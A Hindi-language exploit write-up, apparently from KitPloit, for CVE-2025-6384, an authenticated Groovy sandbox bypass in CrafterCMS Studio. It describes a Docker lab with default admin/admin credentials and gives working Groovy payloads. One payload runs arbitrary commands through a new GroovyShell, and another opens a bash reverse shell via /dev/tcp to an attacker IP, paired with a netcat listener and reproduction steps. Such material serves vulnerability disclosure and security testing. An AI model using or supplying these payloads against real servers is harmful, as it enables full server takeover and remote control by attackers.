CrafterCMS प्रमाणित RCE - Groovy सैंडबॉक्स बाईपास (CVE-2025-6384)

CrafterCMS में प्रमाणित रिमोट कोड एक्ज़ीक्यूशन भेद्यता के लिए एक प्रूफ ऑफ कॉन्सेप्ट।

भेद्यता सारांश

डेवलपर विशेषाधिकारों वाला एक प्रमाणित उपयोगकर्ता रिमोट कोड एक्ज़ीक्यूशन (RCE) प्राप्त करने के लिए Crafter Studio में Groovy स्क्रिप्ट सैंडबॉक्स को बायपास कर सकता है। सैंडबॉक्स एक नए GroovyShell के इंस्टेंसिएशन को ब्लॉक करने में विफल रहता है, जिसका उपयोग एक नया, अप्रतिबंधित निष्पादन वातावरण बनाने के लिए किया जा सकता है।

• उत्पाद: CrafterCMS
• घटक: Crafter Studio
• भेद्यता: Groovy सैंडबॉक्स बाईपास के माध्यम से प्रमाणित RCE (CWE-913)
• प्रभाव: पूर्ण सर्वर समझौता

लैब सेटअप / तैनाती

आप आधिकारिक Docker Compose फ़ाइलों का उपयोग करके परीक्षण के लिए एक भेद्य CrafterCMS इंस्टेंस को तुरंत तैनात कर सकते हैं।

1. CrafterCMS से docker-compose रिपॉजिटरी क्लोन करें:

   root@kitploit:~

   git clone https://github.com/craftercms/docker-compose.git
   

2. authoring environment डायरेक्टरी में नेविगेट करें:

   root@kitploit:~

   cd docker-compose/authoring
   

3. कंटेनरों को प्रारंभ करें। यह आवश्यक इमेज डाउनलोड करेगा और CrafterCMS स्टैक शुरू करेगा।

   root@kitploit:~

   docker-compose up
   

   (नोट: आपके Docker इंस्टॉलेशन के आधार पर sudo आवश्यक हो सकता है।)

4. सेवाओं के पूरी तरह से प्रारंभ होने तक प्रतीक्षा करें। आप http://localhost:8080/studio पर Crafter Studio तक पहुँच सकते हैं।

   • डिफ़ॉल्ट उपयोगकर्ता नाम: admin
   • डिफ़ॉल्ट पासवर्ड: admin

प्रूफ ऑफ कॉन्सेप्ट (PoC)

जबकि सैंडबॉक्स सीधे निष्पादन विधियों को सही ढंग से ब्लॉक करता है, यह निम्नलिखित पेलोड की अनुमति देता है, जो एक नया, अनसैंडबॉक्स्ड Groovy शेल बनाता है।

// File: /scripts/interceptors/pwn.groovy

def shell = new GroovyShell()
def command = "id" // <-- Your command here
def result = shell.evaluate("'''${command}'''.execute().text")

// The output is printed to the server logs
System.err.println("[RCE-PoC] " + result)

RCE एक्सप्लॉइट: रिवर्स शेल

यह पेलोड एक हमलावर-नियंत्रित मशीन पर रिवर्स शेल स्थापित करके पूर्ण RCE प्रदर्शित करता है।

1. एक लिसनर प्रारंभ करें

अपनी मशीन पर, आने वाले कनेक्शन को प्राप्त करने के लिए एक लिसनर (जैसे, netcat का उपयोग करके) प्रारंभ करें:

nc -lvnp 4444

2. पेलोड तैयार करें

निम्नलिखित Groovy स्क्रिप्ट को अपने पेलोड के रूप में उपयोग करें। <YOUR_IP> और <YOUR_PORT> को अपने लिसनर के IP पते और पोर्ट से बदलना याद रखें।

// File: /scripts/interceptors/exploit.groovy

def attacker_ip = "<YOUR_IP>"
def attacker_port = "4444" // Or <YOUR_PORT>

def cmd = "bash -i >& /dev/tcp/" + attacker_ip + "/" + attacker_port + " 0>&1"
def shell = new GroovyShell()

// Use triple quotes to handle the command string easily
shell.evaluate("""
    new ProcessBuilder("/bin/bash", "-c", "${cmd}").start()
""")

System.err.println("Reverse shell payload executed.")

पुनरुत्पादन के चरण

1. डिफ़ॉल्ट क्रेडेंशियल्स (admin / admin) के साथ Crafter Studio (http://localhost:8080/studio) में लॉग इन करें।

2. Site Config -> Scripts पर नेविगेट करें।

3. "Groovy Scripts" अनुभाग के अंतर्गत Create/Edit Script पर क्लिक करें।

   

4. एक स्क्रिप्ट प्रकार चुनें जो निष्पादित होगा, जैसे Request Interceptor।

5. PoC पेलोड को स्क्रिप्ट एडिटर में पेस्ट करें और इसे सहेजें।

   

6. वेबसाइट पर किसी भी पेज पर जाकर स्क्रिप्ट ट्रिगर करें (जैसे, http://localhost:8080)।

7. कमांड आउटपुट देखने के लिए सर्वर के standard error लॉग जाँचें।

   • PoC के लिए, अपना कंटेनर ID ढूँढें और कमांड आउटपुट के लिए उसके लॉग जाँचें:
   root@kitploit:~

   docker-compose logs -f crafter
   

   अपेक्षित आउटपुट:

   root@kitploit:~

   GroovyShell: uid=1000(crafter) gid=1000(crafter) groups=1000(crafter)
   

   

अस्वीकरण

यह सामग्री केवल शैक्षिक और शोध उद्देश्यों के लिए है। इस जानकारी के किसी भी दुरुपयोग या क्षति के लिए लेखक ज़िम्मेदार नहीं है।